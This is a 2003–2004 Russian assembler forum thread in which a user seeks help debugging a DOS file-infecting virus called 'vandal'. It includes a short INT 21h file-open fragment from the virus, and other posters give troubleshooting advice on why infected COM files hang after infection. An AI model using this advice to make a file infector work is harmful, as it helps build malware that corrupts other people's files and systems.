· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.ASSEMBLER —› Обращение к СТАСу

Посл.отвђт Сообщенiе


Дата: Дек 31, 2003 00:06:24

S_T_A_S_
Со всем уважением. Подскажи мне вот чего
делаю exe2bin.exe vandal.exe в командной
стороке в сеансе ms-dos из под винды 98.
Пишет:
This file might be using enhanced EXE format.
This file`s lenth is 814
File was successfully converted

С помощью словаря переводил, но еще более за-
путался. Короче хочу из вандала сделать com.
В вандале всех особенностей com`a придрержи-
вался.

И еще толи меня глючит, но в одном месте есть
такой прикол:
jmp x
restor: jmp restore_dta
x:

jmp y
find: jmp find_next
y:

open: mov ax,3d02h ;Открыть файл
;для чтения и
;записи ...
lea dx,fn ;Имя файла ...
int 21h ;Функция DOS
; jc restore_dta ;Файл не откры-
jc restor ;вается !
;Считаем три
Смотря по коду последюю команду логичней было не вводить,
но пробуя ее убрать начинаются ПРИКОЛЫ с переполнением пере-
хода то бишь relative ... 000d bytes. :) Глянь а, посмейся
если чо?

339156994__VANDAL.ASM


Дата: Дек 31, 2003 06:44:57

EvilsInterrupt
"Возможно файл использует расширенный EXE формат. Длинна файла 814 байт. Файл успешно конвертирован."

В досе я, как уже писал, мои познания находятся на уровне hello, world!
Поэтому ответить я затрудняюсь.

Могу лишь дать совет: используй отладчик.
Смотри готовые программы, что как работает

По Зубкову, имхо, программирование не освоишь. Многие ващи он там забыл описАть.
Если интересует дос ищи: Финогенов или Кип Ирвинг.

Усе
С Новым Годом :)


Дата: Дек 31, 2003 08:34:20

EvilsInterrupt
Почему сразу com-файл не делаешь?


Дата: Дек 31, 2003 10:37:06

q_q
Токо додумался что можно в tlink.exe ключ /t добавить.
S_T_A_S_
А посчет прикольчика глянь, мне все таки интересна твое реакция.


Дата: Дек 31, 2003 11:12:07

БЛин еще одна проблема я работаю все также в вируалке.
Вопрос вот в чем с помощью debug.exe создаю не большие com
фили вирь работает. Беру например Avputil.com или Nc_exit.com cистема виснет. Чо за хрень?


Дата: Дек 31, 2003 17:27:11

Да... Новый год уже начался!!!


Дата: Янв 2, 2004 15:53:17

Avputil.com или Nc_exit.com cистема виснет
Размер com файла ограничен, имхо, (65536-256) байтами, Возможно происходит выход за этот предел.


Дата: Янв 3, 2004 00:09:08

S_T_A_S_
После перезагрузки они заражены по краней мере отладчик так говорит.


Дата: Янв 3, 2004 11:49:28

Имхо, проблемы с возвратом в дос после заражения файла.
Возможно затирается область CS:00h- CS:FFh или стек?


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.071